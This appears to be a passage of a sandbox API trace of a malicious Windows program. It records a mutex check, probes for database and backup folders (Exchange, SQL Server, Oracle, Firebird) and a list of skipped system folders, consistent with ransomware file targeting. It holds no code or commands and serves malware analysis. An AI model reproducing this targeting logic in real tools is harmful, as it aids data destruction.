[0046.832] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.832] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.833] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.833] GlobalUnlock (hMem=0x44000c) returned 0 [0046.833] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.833] GlobalLock (hMem=0x440004) returned 0x554190 [0046.833] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.833] GlobalUnlock (hMem=0x44000c) returned 0 [0046.833] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.833] GlobalUnlock (hMem=0x440004) returned 0 [0046.833] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.833] GlobalLock (hMem=0x440004) returned 0x552180 [0046.833] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.833] GlobalUnlock (hMem=0x440004) returned 0 [0046.833] GlobalLock (hMem=0x440004) returned 0x552180 [0046.833] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.833] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.833] GlobalUnlock (hMem=0x440004) returned 0 [0046.833] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.833] GlobalUnlock (hMem=0x44000c) returned 0 [0046.833] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.833] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred", len=0x48 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred") returned 1 [0046.833] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.833] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.837] GlobalUnlock (hMem=0x44000c) returned 0 [0046.837] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.837] GlobalLock (hMem=0x440004) returned 0x554190 [0046.837] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.837] GlobalUnlock (hMem=0x44000c) returned 0 [0046.837] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.837] GlobalUnlock (hMem=0x440004) returned 0 [0046.837] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\") returned 26 [0046.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⤂R⣖R企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0046.837] GetLastError () returned 0x3 [0046.838] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.838] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.838] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0046.838] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⡄R企@\x18권Q\x181")) returned 0xffffffff [0046.838] GetLastError () returned 0x2 [0046.838] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.838] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.838] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0046.839] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⊤R企@\x18?T\x18;")) returned 0xffffffff [0046.839] GetLastError () returned 0x2 [0046.839] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.839] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@♔R企@\x18?T\x18D")) returned 0xffffffff [0046.839] GetLastError () returned 0x2 [0046.839] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.839] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⡄R企@\x18⊤R\x18j")) returned 0xffffffff [0046.839] GetLastError () returned 0x2 [0046.839] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0046.839] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@♔R企@\x18?T\x18q")) returned 0xffffffff [0046.840] GetLastError () returned 0x2 [0046.840] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\⊠RP") returned 6 [0046.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⤼R企@\x18?T\x18y")) returned 0xffffffff [0046.840] GetLastError () returned 0x2 [0046.840] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⡄R企@\x18?T\x18\x81")) returned 0xffffffff [0046.840] GetLastError () returned 0x2 [0046.840] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@♔R企@\x18?T\x18\x88")) returned 0xffffffff [0046.840] GetLastError () returned 0x2 [0046.840] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0046.840] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⤼R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.841] GetLastError () returned 0x2 [0046.841] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0046.841] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69418, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="╜R䱠@⡄R企@\x18?T\x18\x97")) returned 0xffffffff [0046.841] GetLastError () returned 0x2 [0046.841] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0046.841] GlobalLock (hMem=0x440004) returned 0x552180 [0046.841] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.841] GlobalUnlock (hMem=0x440004) returned 0 [0046.841] GlobalLock (hMem=0x440004) returned 0x552180 [0046.841] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.841] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.841] GlobalUnlock (hMem=0x440004) returned 0 [0046.841] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.841] GlobalUnlock (hMem=0x44000c) returned 0 [0046.841] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.841] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.841] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.841] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0046.841] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.841] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0046.842] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.842] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0046.842] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.842] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.842] GlobalUnlock (hMem=0x44000c) returned 0 [0046.842] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.842] GlobalLock (hMem=0x440004) returned 0x554190 [0046.842] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.842] GlobalUnlock (hMem=0x44000c) returned 0 [0046.842] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.842] GlobalUnlock (hMem=0x440004) returned 0 [0046.842] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0046.842] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0046.842] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0046.842] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0046.842] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0046.842] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0046.842] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0046.842] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0046.842] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\") returned 0x49 [0046.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0046.843] GlobalLock (hMem=0x440004) returned 0x552180 [0046.843] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.843] GlobalUnlock (hMem=0x440004) returned 0 [0046.843] GlobalLock (hMem=0x440004) returned 0x552180 [0046.843] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.843] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.843] GlobalUnlock (hMem=0x440004) returned 0 [0046.843] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.843] GlobalUnlock (hMem=0x44000c) returned 0 [0046.843] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.843] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.843] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0046.843] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.843] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.843] GlobalLock 